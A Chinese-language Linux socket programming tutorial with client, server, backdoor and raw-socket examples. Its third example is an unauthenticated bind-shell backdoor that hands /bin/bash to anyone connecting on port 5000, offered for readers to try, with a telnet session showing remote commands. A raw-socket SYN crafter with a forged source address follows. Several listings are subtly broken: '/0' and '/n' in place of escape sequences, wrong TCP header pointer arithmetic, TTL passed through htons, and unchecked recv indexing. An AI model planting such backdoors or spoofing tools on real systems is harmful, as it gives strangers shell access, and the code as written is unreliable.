linux网络编程基础
首先,什么是socket?socket是计算机用于与网络上的其它计算机进行通信的一个接口,它就像是电源插线板上的插口一样,用电电器想要获得电源,就必须要有个插头连接到插线板上的插口。同样,计算机要想获得一个网络连接就得建立一个socket。
下面是一些在建立一个socket时常的函数:
socket() --- 用来创建一个socket接口
例:sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect() --- 用来连接到远程主机
例:connect(sock, (struct sockaddr*)&remote_host, sizeof(remote_host));
send() --- 用来向远程主机发送数据
例:nsend = send(sock, data, datalen, 0);
recv() --- 用来接收从主机发送来的数据
例:nrecv = recv(sock, buffer, sizeof(buffer), 0);
close() --- 用来关闭一个socket
例:close(sock);
下面是一个简单的客房端例子,它连接到服务器,发送一个字符串,然后接收服务器发送回来的字符串。
#include < stdio.h >
#include < sys / types.h >
#include < sys / socket.h >
#include < netinet / in .h >
#include < arpa / inet.h >
#include < stdlib.h >
#include < string .h >
int main( int argc, char * argv[])
{
int sock;
struct sockaddr_in remote;
if (argc < 3 ) {
printf( " usage: %s <dst-ip> <dst-port> " , argv[ 0 ]);
exit( - 1 );
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0 ) {
printf( " socket error. " );
exit( - 1 );
}
memset( & remote, 0 , sizeof (remote));
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[ 2 ]));
inet_pton(AF_INET, argv[ 1 ], & remote.sin_addr);
char addr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, & remote.sin_addr, addr, INET_ADDRSTRLEN);
printf( " %s " , addr);
printf( " connecting... " );
if (connect(sock, ( struct sockaddr * ) & remote, sizeof ( struct sockaddr)) < 0 ) {
printf( " connect error. " );
exit( - 1 );
}
printf( " send data... " );
char sbuf[] = " I am plusboy " ;
char rbuf[ 1024 ];
send(sock, sbuf, sizeof (sbuf), 0 );
int nrecv = recv(sock, rbuf, sizeof (rbuf), 0 );
rbuf[nrecv] = '/0';
printf("recv from server: %s/n", rbuf);
close(sock);
}
编译:gcc -o client client.c
执行结果如下:
[bugboy@bugboy c]$ ./client 172.16.100.108 6789
172.16.100.108
connecting...
send data...
recv from server: recv: I am plusboy
上面是一个客户端的例子,为了创建一个服务端,我们需要了解更多的socket函数,下面是一些常用的函数:
bind() --- 用来把一个socket和一个网络地址和一个端口号进行绑定
例:bind(sock, (struct sockaddr*)&local_host, sizeof(local_host));
listen() --- 用来把一个socket置入监听状态
例:listen(sock, 5);
accept() --- 用来接收一个远程连接请求
例:cli_sock = accept(sock, (struct sockaddr*)&cli_addr, &cli_addr_size);
下面是一个简的服务器端例子,这接收客房端的连接请求,然后启动一个子进程来处理客户端,父进程继续等待其它客户端的请求,注意服务器端用了一个dup2()进行描述符复制,它把客户端连接生成的socket复制到一标准输出,因此打印到标准输出的信息最终会发送到客户端。
#include < stdio.h >
#include < stdlib.h >
#include < sys / types.h >
#include < sys / socket.h >
#include < netinet / in .h >
#include < unistd.h >
int main( int argc, char * argv[])
{
int lsock;
int rsock;
struct sockaddr_in server;
struct sockaddr_in client;
int len;
len = sizeof ( struct sockaddr);
lsock = socket(AF_INET, SOCK_STREAM, 0 );
if (lsock < 0 ) {
printf( " socket error. " );
exit( - 1 );
}
memset( & server, 0 , sizeof (server));
server.sin_family = AF_INET;
server.sin_port = htons( 6789 );
server.sin_addr.s_addr = INADDR_ANY;
if (bind(lsock, ( struct sockaddr * ) & server, sizeof ( struct sockaddr)) < 0 ) {
printf( " bind error. " );
exit( - 1 );
}
if (listen(lsock, 5 ) < 0 ) {
printf( " listen error. " );
exit( - 1 );
}
char buf[ 1024 ];
int nrecv;
char cli_addr[INET_ADDRSTRLEN];
while ( 1 ) {
rsock = accept(lsock, ( struct sockaddr * ) & client, & len);
printf( " Connection from %s " ,
inet_ntop(AF_INET, & client.sin_addr, cli_addr, INET_ADDRSTRLEN));
if (fork() == 0 ) {
close(lsock);
dup2(rsock, STDOUT_FILENO);
while ( 1 ) {
nrecv = recv(rsock, buf, sizeof (buf), 0 );
buf[nrecv] = '/0';
printf("recv: %s/n", buf);
if (strncmp(buf, "exit", 4 ) == 0) {
exit(0);
}
}
} else {
close(rsock);
}
}
}
编译:gcc -o server server.c
执行结果如下:
[bugboy@bugboy c]$ ./server
Connection from 172.16.100.108
有了上面的基础,就可以偿试写一个后门程序来玩玩了,下面是一个不错的例子:
#include < stdio.h >
#include < sys / types.h >
#include < sys / socket.h >
#include < netinet / in .h >
#include < unistd.h >
int main( int argc, char * argv[])
{
int lsock, rsock;
struct sockaddr_in server;
struct sockaddr_in client;
if ((lsock = socket(AF_INET, SOCK_STREAM, 0 )) < 0 ) {
fprintf(stderr, " socket error. " );
exit( - 1 );
}
server.sin_family = AF_INET;
server.sin_port = htons( 5000 );
server.sin_addr.s_addr = INADDR_ANY;
if (bind(lsock, ( struct sockaddr * ) & server, sizeof ( struct sockaddr)) < 0 ) {
fprintf(stderr, " bind error. " );
exit( - 1 );
}
if (listen(lsock, 5 ) < 0 ) {
fprintf(stderr, " listen error. " );
exit( - 1 );
}
while ( 1 ) {
int size;
size = sizeof ( struct sockaddr);
rsock = accept(lsock, ( struct sockaddr * ) & client, & size);
/* 把输入、输出和出错信息重定向到网络 */
dup2(rsock, STDIN_FILENO);
dup2(rsock, STDOUT_FILENO);
dup2(rsock, STDERR_FILENO);
execl( " /bin/bash " , " /bin/bash " , ( char * ) 0 );
close(rsock);
}
return 0 ;
}
在linux下用GCC编译:gcc -o backdoor backdoor.c 运行结果如下:
[plusboy@server3 ~]$./backdoor
从另一台机子(或者本机)telnet到server3去
[bugboy@bugboy ~]$ telnet 172.16.100.81 5000
Trying 172.16.100.81...
Connected to server3 (172.16.100.81).
Escape character is '^]'.
hostname;
server3
: command not found
uname -a;
Linux server3 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux
: command not found
有时你需要获得对网络底层协议更多的控制,这时你需要用到raw socket(原始套接口)。下面是常用到的函数:
sendto() --- 用来发送数据到远程主机
例:nsend = sendto(sock, data, datalen, 0, (struct sockaddr*)&remote_host, sizeof(remote_host);
recvfrom() --- 用来接收从远程主机发送来的数据
例:nrecv = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr*)&remote_host, sizeof(remote_host);
setsockopt() --- 用来设置socket的选项
例:setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable));
下面是一个使用原始套接口的例子(raw_socket.c):
#include < stdlib.h >
#include < unistd.h >
#include < netdb.h >
#include < sys / types.h >
#include < sys / socket.h >
#include < netinet / in .h >
#include < netinet / ip.h >
#include < netinet / tcp.h >
int main( int argc, char * argv[])
{
if (argc != 7 ) {
fprintf(stderr, " Simple Packet Crafter using raw sockets "
" Usage: %s <dst-ip> <dst-port> <src-ip> <src-port> <ttl> <window> " , argv[ 0 ]);
fprintf(stderr, " Example: %s 192.0.0.2 79 1.2.3.4 12345 255 512 " , argv[ 0 ]);
exit( - 1 );
}
if (getuid() != 0 ) {
fprintf(stderr, " Error: Must be ROOT to open raw sockets. " );
exit( - 1 );
}
int enable = 1 ;
int sock;
char packet[ 4096 ];
struct sockaddr_in remote;
struct iphdr * ip = ( struct iphdr * ) packet;
struct tcphdr * tcp = ( struct tcphdr * ) packet + sizeof ( struct tcphdr);
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 ) {
fprintf(stderr, " socket error. " );
exit( - 1 );
}
remote.sin_family = AF_INET;
inet_pton(AF_INET, argv[ 1 ], & remote.sin_addr.s_addr);
remote.sin_port = htons(atoi(argv[ 2 ]));
memset(packet, 0 , sizeof (packet));
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, ( char * ) & enable, sizeof (enable)) < 0 ) {
fprintf(stderr, " setsockopt error. " );
exit( - 1 );
}
struct in_addr addr;
ip -> ihl = 5 ; // IP header length
ip -> version = 4 ; // IP version
ip -> tot_len = sizeof ( struct iphdr) + sizeof ( struct tcphdr);
ip -> id = htons( 2500 ); // id sequence number
inet_pton(AF_INET, argv[ 3 ], & addr); // source ip
ip -> saddr = addr.s_addr;
inet_pton(AF_INET, argv[ 1 ], & addr); // destination ip
ip -> daddr = addr.s_addr;
printf( " source ip: %d " , ip -> saddr);
printf( " destination ip: %d " , ip -> daddr);
ip -> ttl = htons(atoi(argv[ 5 ])); // ttl
ip -> protocol = IPPROTO_TCP; // protocol number
ip -> check = 0 ; // IP checksum
ip -> tos = 0 ; // type of service
ip -> frag_off = 0 ; // fragment offset
tcp -> source = htons(atoi(argv[ 4 ])); // source port
tcp -> dest = htons(atoi(argv[ 2 ])); // destination port
tcp -> seq = htons(random()); // initial sequence number
tcp -> ack_seq = htons( 0 ); // acknowledgement number
tcp -> ack = 0 ; // acknowledgement flag
tcp -> syn = 1 ; // synchronize flag
tcp -> rst = 0 ; // reset flag
tcp -> psh = 0 ; // push flag
tcp -> fin = 0 ; // finish flag
tcp -> urg = 0 ; // urgent flag
tcp -> check = 0 ; // tcp checksum
tcp -> doff = 5 ; // data offset
tcp -> window = htons(atoi(argv[ 6 ])); // window size
printf( " Simple Packet Crafter using raw sockets " );
printf( " Packet Data: " );
printf( " Destination IP: %s, " , argv[ 1 ]);
printf( " Destination Port: %s, " , argv[ 2 ]);
printf( " Source IP: %s, " , argv[ 3 ]);
printf( " Source Port: %s, " , argv[ 4 ]);
printf( " TTL: %s, " , argv[ 5 ]);
printf( " Window Size: %s " , argv[ 6 ]);
printf( " Sending packet to %s... " , argv[ 1 ]);
if (sendto(sock, packet, ip -> tot_len, 0 ,
( struct sockaddr * ) & remote, sizeof ( struct sockaddr)) < 0 ) {
fprintf(stderr, " Error: can't send packet! " );
return - 1 ;
}
printf( " Packet send to %s! Goodbye! " , argv[ 1 ]);
return 0 ;
}
这个程序需要root用户执行,因为只有root用户可以创建原始套接口。用gcc编译后,程序执行结果如下:
[root@bugboy c]# ./raw_socket 172.16.100.81 22 172.16.100.108 5000 255 512
source ip: 1818497196
destination ip: 1365512364
Simple Packet Crafter using raw sockets
Packet Data:
Destination IP: 172.16.100.81,
Destination Port: 22,
Source IP: 172.16.100.108,
Source Port: 5000,
TTL: 255,
Window Size: 512
Sending packet to 172.16.100.81...
Packet send to 172.16.100.81! Goodbye!